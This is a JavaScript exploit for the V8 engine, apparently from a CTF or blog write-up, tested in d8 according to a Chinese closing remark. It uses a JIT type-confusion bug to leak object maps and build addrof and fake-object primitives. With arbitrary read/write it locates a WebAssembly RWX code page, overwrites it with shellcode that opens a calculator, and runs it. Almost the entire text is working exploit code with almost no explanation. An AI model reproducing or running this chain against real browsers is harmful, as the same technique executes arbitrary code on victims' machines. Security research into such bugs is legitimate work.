function Sub(a, b) {
return (new Int64()).assignSub(a, b);
}
// Some commonly used numbers.
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);
function utf8ToString(h, p) {
let s = "";
for (i = p; h[i]; i++) {
s += String.fromCharCode(h[i]);
}
return s;
}
let global_var = Array();
let double_map , element_map , double_map_obj , array_map , victim_jsarray,victim_arraybuffer;
let global_tmp = [];
var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,138,128,128,128,0,2,96,0,1,127,96,1,127,1,127,2,140,128,128,128,0,1,3,101,110,118,4,112,117,116,115,0,1,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,109,101,109,111,114,121,2,0,5,112,52,110,100,97,0,1,10,145,128,128,128,0,1,139,128,128,128,0,1,1,127,65,16,16,0,26,32,0,11,11,150,128,128,128,0,1,0,65,16,11,16,72,97,99,107,101,100,32,98,121,32,80,52,110,100,97,0]);
var wasmImports = {
env: {
puts: function puts (index) {
console.log(utf8ToString(h, index));
}
}
};
let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
let h = new Uint8Array(m.exports.memory.buffer);
let f = m.exports.p4nda;
console.log("step 0: Game start");
f();
function exploit(){
function get_map_opt(x){
let arr = [1.1,1.2,1.3,1.4];
let arr_ele = [arr,arr,arr,arr];
let index = 0;
if(x = 'p4nda'){index = 4;}
return [arr[index],arr,arr_ele];
}
function get_map(){
var tmp ;
for(var i = 0; i< 10000;i++){
tmp = get_map_opt('test');
}
double_map = tmp[0];
element_map =Add(Int64.fromDouble(double_map), 0xa0).asDouble();
global_var.push(tmp[1]);
global_var.push(tmp[2]);
}
get_map();
console.log("double_map:",Int64.fromDouble(double_map));
console.log("element_map:",Int64.fromDouble(element_map));
function get_array_map_opt(x){
let a = Array(2);
a[0] = 1.1;
a[1] = 1.2;
let b = {a0:1.1 , a1:1.1 , a2:1.1 , a3:1.1 , a4:1.1 , a5:1.1 , a6:1.1 , a7:1.1 , a8:1.1 , a9:1.1 , a10:1.1 , a11:1.1 , a12:1.1 , a13:1.1 , a14:1.1 , a15:1.1 , a16:1.1 , a17:1.1 , a18:1.1 , a19:1.1 , a20:1.1 , a21:1.1 , a22:1.1 , a23:1.1 , a24:1.1 , a25:1.1 , a26:1.1 , a27:1.1 , a28:1.1 , a29:1.1};
let index = 0;
if(x = 'p4nda'){index = 2;}
return [a[index],b];
}
function get_array_map(){
for(var i = 0; i< 10000; i++){
var tmp = get_array_map_opt();
}
array_map = tmp[0];
global_tmp.push(tmp[1]);
//%DebugPrint(tmp[1]);
}
get_array_map();
console.log("array_map",Int64.fromDouble(array_map));
function prepare_double_map_opt(x){
let arr = [double_map,double_map,double_map,double_map];
let index = 0;
if(x = 'p4nda'){index = 4;}
arr[index] = element_map;
return arr;
}
function prepare_double_map(){
var tmp;
for (var i = 0; i< 10000;i++){
tmp = prepare_double_map_opt();
}
return tmp[1];
}
double_map_obj = prepare_double_map();
function addrof_opt(obj){
var a = [obj, obj, obj, obj];
let index = 0;
if(x = 'p4nda'){index = 4};
a[index] = double_map_obj;
return a;
}
function addrof(obj){
for(var i = 0;i<100000;i++){
var a = addrof_opt(obj);
}
return a[0];
}
f_obj_addr = Int64.fromDouble(addrof(f))
console.log("address of function obj:",f_obj_addr);
//%DebugPrint(f);
function get_victim_obj_opt(x){
let b = [11.1,1.1];
let index = 0;
if (x = 'p4nda'){index = 2;}
b[index] = array_map;
console.log(b.length);
return b;
}
function get_victim_obj(){
for (var i = 0 ; i < 10000; i++){
var tmp = get_victim_obj_opt();
}
victim_arraybuffer = new ArrayBuffer(0x100);
victim_jsarray = tmp;
}
get_victim_obj();
//%DebugPrint(victim_jsarray);
//%DebugPrint(victim_arraybuffer);
console.log(Int64.fromDouble(victim_jsarray.a5));
victim_jsarray.a5 = f_obj_addr.asDouble();
let dv = new DataView(victim_arraybuffer);
SharedFunctionInfo_addr = Int64.fromDouble(dv.getFloat64(0x17,true));
console.log("[+] SharedFunctionInfo addr :"+SharedFunctionInfo_addr);
victim_jsarray.a5 = SharedFunctionInfo_addr.asDouble();
WasmExportedFunctionData_addr = Int64.fromDouble(dv.getFloat64(0x7,true));
console.log("[+] WasmExportedFunctionData addr :"+WasmExportedFunctionData_addr);
//let tmp = addrof(f);
victim_jsarray.a5 = WasmExportedFunctionData_addr.asDouble();
WasmInstanceObject_addr = Int64.fromDouble(dv.getFloat64(0xf,true));
console.log("[+] WasmInstanceObject addr :"+WasmInstanceObject_addr);
victim_jsarray.a5 = WasmInstanceObject_addr.asDouble();
imported_function_targets_addr = Int64.fromDouble(dv.getFloat64(0x3f,true));
console.log("[+] imported_function_targets addr :"+imported_function_targets_addr);
victim_jsarray.a5 = imported_function_targets_addr.asDouble();
rwx_area = Int64.fromDouble(dv.getFloat64(0,true));
console.log("[+] rwx_area addr :"+rwx_area);
victim_jsarray.a5 = rwx_area.asDouble();
let shellcode_calc = [72, 49, 201, 72, 129, 233, 247, 255, 255, 255, 72, 141, 5, 239, 255, 255, 255, 72, 187, 124, 199, 145, 218, 201, 186, 175, 93, 72, 49, 88, 39, 72, 45, 248, 255, 255, 255, 226, 244, 22, 252, 201, 67, 129, 1, 128, 63, 21, 169, 190, 169, 161, 186, 252, 21, 245, 32, 249, 247, 170, 186, 175, 21, 245, 33, 195, 50, 211, 186, 175, 93, 25, 191, 225, 181, 187, 206, 143, 25, 53, 148, 193, 150, 136, 227, 146, 103, 76, 233, 161, 225, 177, 217, 206, 49, 31, 199, 199, 141, 129, 51, 73, 82, 121, 199, 145, 218, 201, 186, 175, 93];
let write_tmp = new Uint8Array(victim_arraybuffer);
write_tmp.set(shellcode_calc);
console.log("[+] Enter to pop up a calc ... ");
readline();
f();
}
exploit();
由于chromium
编译太慢了,用d8
代替结果: